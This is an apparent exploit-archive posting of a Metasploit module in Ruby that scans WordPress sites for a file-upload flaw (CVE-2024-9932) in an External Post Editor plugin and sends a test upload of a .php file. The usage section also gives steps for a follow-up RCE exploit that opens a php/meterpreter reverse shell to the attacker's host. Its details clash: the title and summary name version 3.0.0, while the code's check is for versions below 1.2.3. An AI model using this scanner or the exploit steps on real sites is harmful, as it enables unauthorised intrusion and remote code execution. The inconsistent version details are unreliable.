============================================================================================================================================= | # Title : WordPress Wux Blog Editor 3.0.0 Vulnerability Scanner | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/wux-blog-editor/ | ============================================================================================================================================= [+] References: https://packetstorm.news/files/id/214276/ & CVE-2024-9932 [+] Summary: This Metasploit auxiliary module scans WordPress sites for the External Post Editor plugin and checks for the unauthenticated file upload vulnerability (CVE-2024-9932). [+] The module can: Detect the plugin version by inspecting readme.txt or the plugin header files. Determine if the version is vulnerable (versions prior to 3.0.0). Test the upload endpoint (/wp-json/external-post-editor/v2/image-upload) for accessibility. Attempt to simulate file upload using a test PHP payload and analyze the server response. Provide clear output regarding plugin presence, version, vulnerability status, and endpoint exposure. This module is intended for security assessments and penetration testing of WordPress installations, without exploiting the vulnerability beyond a controlled upload test. [+] Usage : # 1. Run Metasploit msfconsole # 2. Use the Scanner (Auxiliary) use auxiliary/scanner/http/wp_external_post_editor_scanner set RHOSTS target.com set TARGETURI /wordpress/ run # 3. If the target is weak, use the Exploit use exploit/multi/http/wp_external_post_editor_rce set RHOST target.com set TARGETURI /wordpress/ set PAYLOAD php/meterpreter/reverse_tcp set LHOST your_ip set LPORT 4444 exploit # 4. For other systems set TARGET 1 # Linux or set TARGET 2 # Windows [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress External Post Editor Plugin Vulnerability Scanner', 'Description' => %q{ This module scans for the WordPress External Post Editor plugin and checks if it's vulnerable to CVE-2024-9932 (unauthenticated file upload). }, 'Author' => [ 'JoshuaProvoste', # Original discovery 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-9932'], ['URL', 'https://wordpress.org/plugins/external-post-editor/'] ], 'DisclosureDate' => '2024-01-01' )) register_options([ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptBool.new('CHECK_UPLOAD', [true, 'Test file upload capability', true]) ]) end def run print_status("Scanning #{full_uri} for WordPress External Post Editor plugin...") version = detect_plugin_version if version print_good("Detected External Post Editor plugin version #{version}") if version < Rex::Version.new('1.2.3') print_warning("Vulnerable version #{version} detected (CVE-2024-9932)") if datastore['CHECK_UPLOAD'] test_vulnerability end else print_good("Version #{version} appears to be patched") end else print_status("External Post Editor plugin not detected") end check_endpoint end def detect_plugin_version paths = [ 'wp-content/plugins/external-post-editor/readme.txt', 'wp-content/plugins/external-post-editor/README.txt', 'plugins/external-post-editor/readme.txt' ] paths.each do |path| uri = normalize_uri(target_uri.path, path) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) next unless res && res.code == 200 if res.body =~ /Stable tag:\s*(\d+\.\d+(?:\.\d+)?)/i return Rex::Version.new($1) elsif res.body =~ /Version:\s*(\d+\.\d+(?:\.\d+)?)/i return Rex::Version.new($1) end end paths = [ 'wp-content/plugins/external-post-editor/external-post-editor.php', 'wp-content/plugins/external-post-editor/plugin.php' ] paths.each do |path| uri = normalize_uri(target_uri.path, path) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) next unless res && res.code == 200 if res.body =~ /Version:\s*(\d+\.\d+(?:\.\d+)?)/i return Rex::Version.new($1) end end nil end def check_endpoint print_status("Checking for vulnerable endpoint...") endpoint = normalize_uri(target_uri.path, 'wp-json', 'external-post-editor', 'v2', 'image-upload') res = send_request_cgi({ 'method' => 'GET', 'uri' => endpoint }) if res.nil? print_error("No response from endpoint") return end case res.code when 200 print_good("Endpoint accessible (HTTP 200)") print_status("Response: #{res.body[0,200]}...") if res.body && !res.body.empty? when 404 print_status("Endpoint not found (HTTP 404)") when 403, 401 print_warning("Endpoint requires authentication (HTTP #{res.code})") when 405 print_good("Endpoint exists but wrong method (HTTP 405)") else print_status("Endpoint responded with HTTP #{res.code}") end end def test_vulnerability print_status("Testing file upload vulnerability...") test_content = "" test_filename = "#{Rex::Text.rand_text_alpha(8)}.php" endpoint = normalize_uri(target_uri.path, 'wp-json', 'external-post-editor', 'v2', 'image-upload') data = { 'url' => "http://#{Rex::Text.rand_text_alpha(8)}.com/test.php", 'imageName' => test_filename } res = send_request_cgi({ 'method' => 'POST', 'uri' => endpoint, 'headers' => { 'Content-Type' => 'application/json' }, 'data' => data.to_json }) if res.nil? print_error("No response from upload endpoint") return end print_status("Upload test response: HTTP #{res.code}") if res.code == 200 begin json = res.get_json_document if json print_good("JSON response received:") json.each do |k,v| print_status(" #{k}: #{v.inspect}") end end rescue JSON::ParserError print_warning("Non-JSON response: #{res.body[0,200]}") end elsif res.code == 403 || res.code == 401 print_error("Upload requires authentication") else print_warning("Unexpected response code: #{res.code}") end end def full_uri "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}#{normalize_uri(target_uri.path)}" end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================